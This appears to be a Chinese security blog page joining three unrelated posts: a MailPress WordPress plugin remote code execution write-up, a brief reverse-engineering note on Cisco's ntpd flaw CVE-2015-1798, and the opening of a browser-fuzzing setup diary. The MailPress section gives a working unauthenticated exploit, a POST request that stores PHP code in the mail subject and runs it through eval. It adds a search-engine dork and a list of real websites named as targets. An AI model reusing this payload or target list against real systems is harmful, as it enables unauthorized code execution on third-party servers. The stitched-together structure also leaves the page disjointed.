WordPress Mailpress Remote Code Execution

0x00 introduction

Mailpress是一个比较流行的邮件插件。
Plugin Directory:https://wordpress.org/plugins/mailpress/
官网:http://blog.mailpress.org

0x01 漏洞简述

Mailpress存在越权调用,在不登陆的情况下,可以调用系统某些方法,可以造成远程命令执行。

0x02 漏洞详细

文件:
mailpress\mp-includes\action.php

<?php
//
include(‘../../../../wp-load.php’);
//
include(‘../../../../wp-admin/includes/admin.php’);
//
new MP_Actions();
转到:
mailpress\mp-includes\class\MP_Actions.class.php

即可以调用 MP_Actions.class.php 文件中任意方法。
其中:
autosave方法是添加邮件内容

我们来重点看看

public static function iview()
{
$mp_general = get_option(MailPress::option_name_general);

$id = $_GET[‘id’];
$main_id = (isset($_GET[‘main_id’])) ? $_GET[‘main_id’] : $id;

$mail = MP_Mail::get($id);

$theme = (isset($_GET[‘theme’]) && !empty($_GET[‘theme’])) ? $_GET[‘theme’] : (!empty($mail->theme) ? $mail->theme : false);
$mp_user_id = (isset($_GET[‘mp_user_id’]) && !empty($_GET[‘mp_user_id’])) ? $_GET[‘mp_user_id’] : false;

// from
$from = (!empty($mail->fromemail)) ? MP_Mail::display_toemail($mail->fromemail, $mail->fromname) : MP_Mail::display_toemail($mp_general[‘fromemail’], $mp_general[‘fromname’]);
// to
$to = MP_Mail::display_toemail($mail->toemail, $mail->toname, ”, $mp_user_id);
// subject
$x = new MP_Mail();
$subject = (in_array($mail->status, array(‘sent’, ‘archived’))) ? $mail->subject : $x->do_eval($mail->subject);
$subject = $x->viewsubject($subject, $id, $main_id, $mp_user_id);
// template
$template = (in_array($mail->status, array(‘sent’, ‘archived’))) ? false : apply_filters(‘MailPress_draft_template’, false, $main_id);

// content
$args = array();
$args[‘action’] = ‘viewadmin’;
foreach(array(‘id’, ‘main_id’, ‘theme’, ‘template’, ‘mp_user_id’) as $x) if ($$x) $args[$x] = $$x;

foreach(array(‘html’, ‘plaintext’) as $type)
{
$args[‘type’] = $type;
if (!empty($mail->{$type})) $$type = “<iframe id=’i{$type}’ style=’width:100%;border:0;height:550px’ src=’” . esc_url(add_query_arg( $args, MP_Action_url )) . “‘></iframe>”;
}

// attachements
$attachements = ”;
$metas = MP_Mail_meta::has( $args[‘main_id’], ‘_MailPress_attached_file’);
if ($metas) foreach($metas as $meta) $attachements .= “<tr><td>&#160;” . MP_Mail::get_attachement_link($meta, $mail->status) . “</td></tr>”;
$view = true;
include(MP_ABSPATH . ‘mp-includes/html/mail.php’);
}

注意到代码:

$subject = (in_array($mail->status, array(‘sent’, ‘archived’))) ? $mail->subject : $x->do_eval($mail->subject);

转到 do_eval

function do_eval($x)
{
$x = ‘global $posts, $post, $wp_did_header, $wp_did_template_redirect, $wp_query, $wp_rewrite, $wpdb, $wp_version, $wp, $id, $comment, $user_ID; ?>’ . “\n $x”;
ob_start();
echo(eval($x));
$r = ob_get_contents();
ob_end_clean();
return $r;
}

 

因此,subject参数造成远程命令执行

0x03 漏洞利用

http://127.0.0.1/wordpress/wp-content/plugins/mailpress/mp-includes/action.php
POST
action=autosave&id=0&revision=-1&toemail=&toname=&fromemail=&fromname=&to_list=1&Theme=&subject=<?php phpinfo();?>&html=&plaintext=&mail_format=standard&autosave=1

 

image1

 

shell 地址
http://127.0.0.1/wordpress/wp-content/plugins/mailpress/mp-includes/action.php?action=iview&id=5image2

0x04 effect:

image3

0x05 google hack:

allinurl:plugins/mailpress

0x06 example:

http://www.climbsf.com

http://www.abll.org

http://en.grandevreuxtourisme.fr

http://www.digicult.co.uk

http://www.boardinghouse.ca

http://tletl.cahttp://maracatu.org.br

http://www.ville-emploi.asso.fr

http://thefairwaysbar.ie

http://cancouncil.org

http://blog.mailpress.org

http://www.communitydevelopmentalliancescotland.org

Multiple Vulnerabilities in ntpd (April 2015) Affecting Cisco Products(CVE-2015-1798分析)

CVE-2015-1798分析

Multiple Vulnerabilities in ntpd (April 2015) Affecting Cisco Products

漏洞链接:http://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20150408-ntpd
从CISCO固件中提取c7200-adventerprisek9-mz.152-4.M8中提取C7200-AD.BIN文件,并把e_machine标记为0x08(MIPS指令)。
我们先看一下官方描述,可以知道是在NTP封包数据中处理中出现了问题。

1

我们首先找到我们要分析的关键函数ntp_receive,开始代码逆向。如果利用ntp.org的代码进行修改,整个过程就会变得事半功倍。尤其在数据结构方面,对代码逆向起到至关重要的作用。

2

逆向完成后,我们对比代码,发现主要区别在这个位置:

3

我们再来看一下汇编代码:

4

红色方框中的代码不相同,紫色方框中的代码的相同。

我们再来对比一下NTP.ORG的官方源代码(4.2.8p1和4.2.8p2):

5

当我们构造数据包的时候,把MAC数据去掉,也可以通过验证。

Fuzzing,从精通到重新入门 (一)

0、序
Fuzzing是一种成本低廉但高效的漏洞挖掘技术。这种技术最早来源于何处已不易考,但在最近几年应用的范围非常广泛,特别是随着一些成熟的自动化工具,例如grinder等的陆续开源,大量没有反汇编基础的脚本小子也陆续加入了漏洞发掘的大军中,并一跃成为所谓业界大牛。因为工作需要,上级领导交代下来了寻找漏洞的任务,笔者于是乎暂时抛开了手中的焊枪,试图通过实践和笔记的方式带你一起揭开国内外知名安全厂商华人大牛的成功之路。

1、目标与硬件
Fuzzing技术应用最广泛的领域往往也是测试门槛最低的领域,例如微软产品中,Internet Explorer(以下简称IE)和内核一向是CVE数量集中爆发点。鉴于内核的复杂程度远远不能比拟浏览器,笔者因此选择了IE作为浏览器作为测试目标。纵观各类浏览器,外部来看都是对HTML和JavaScript等的解析与支持,内部而言也都有建立DOM树和渲染等一整套机制,这方面的共性表明,一个合格的fuzzer应该涵盖不同的浏览器。综合以上原因,笔者同时选择了主流的四种浏览器作为fuzzing对象,它们分别是Internet Explorer,Chrome,Safari和FireFox。可能有人说FireFox已经死了,Safari脑子有问题的才用,笔者只能表示倘若放着浏览器不fuzz的话,除了诗和远方,连情怀都一并丢掉了。
除了浏览器,大规模杀伤性fuzzing的CVE中似乎还混进了些奇怪的东西,这就是漏洞辈出的Flash。为了保证fuzzing的多样性和完整性,作为浏览器的有益补充,笔者经过深思熟虑最终还是将Flash纳入了fuzzing的实践范围。
硬件系统而言,由于Safari的存在,最便宜的似乎只能选择MacMini,也就是最低配置3488软妹币一台……太贵了。一个创业公司,括号连凳子家具都是淘的二手那种,正确的选择必须是二手服务器。在经过多方论证后,笔者终于发现,多核服务器加上足够的内存可以完美运行各类虚拟机,这样硬件也决定下来,统统是PC服务器,型号配置一致还有一个好处,装windows可以不用每台机器都去激活,拷贝过来就能用。
IE、FF、Chrome、Safari加上不要钱的Flash,十台服务器,万事俱备。
还缺一个,服务器里的虚拟机可以挂,收集结果的服务器不能挂,另外买台二手台式机,配个GTX970前台玩屁股先锋,后台收集结果足够了。

2、虚拟机安装
废话笔者就不多说了,服务器上安装ubuntu并将QEMU/kvm更新到最新版本,辅助工具libvirt之类酌情安装。IE版本众多,XP对应IE8,Vista对应IE9,Win2012(注意不是r2)对应IE10,Win7对应IE11,Win7不小心升级后对应Edge(请忽略这个没人用的版本)。此外,Chrome不支持XP,所以请在Win7安装Chrome。FireFox不挑食,XP下运行顺利。Flash随便装哪里都可以。安装过程颇为乏味,打补丁更是慢得一比,诸君同笔者一样多多忍耐吧。
免费附送一些有用的命令行:

qemu-img create massivefuzzing00.img 2G
sudo qemu-system-x86_64 -hda ~/massivefuzzing00.img -m 2048 -vnc :1
sudo virt-install –name tigon00 –ram 2048 –vcpus=1 –disk path=massivefuzzing00.img –os-variant=winxp –accelerate –graphic vnc,listen=0.0.0.0,port=8888,password=1233211234567 –cdrom /dev/null –force

慢着,漏了个Safari哦。这个虚拟机安装略微复杂一些,限于篇幅这里就不多说了,需要安装的版本是10.9.5,因为10.10或者10.11目前装在虚拟机上会出现和女乔丹胸部一样大的问题.你需要做的是首先去百度OS X的镜像文件,接下来的安装过程耗费20G左右的虚拟磁盘,另外还要一个叫enoch_rev2795_boot的东西,当然软件更新也是必不可少的一步。总而言之这些都做完后,虚拟机就算是安装完毕了。将虚拟机激活,然后通过网络拷贝到不同的服务器上测试下是否正常运行。之所以说这句话是因为Ubuntu16下偶尔会出现各种想不到的问题,倘若Windows虚拟机无法正常使用,请换Ubuntu14下测试。
每台服务器都测试一下是必要的,随后的fuzzing可能会因为软件更新而频繁更新硬盘镜像文件,多余的时间一定不能耗费到兼容性与反复激活的琐事上。记住,人机分离十米自动报警,不不不,我是说,跑得快不一定赢,不跌跟头才是成功。

待续。待我把党章抄完,下次再补上osx虚拟机安装和启动的命令行。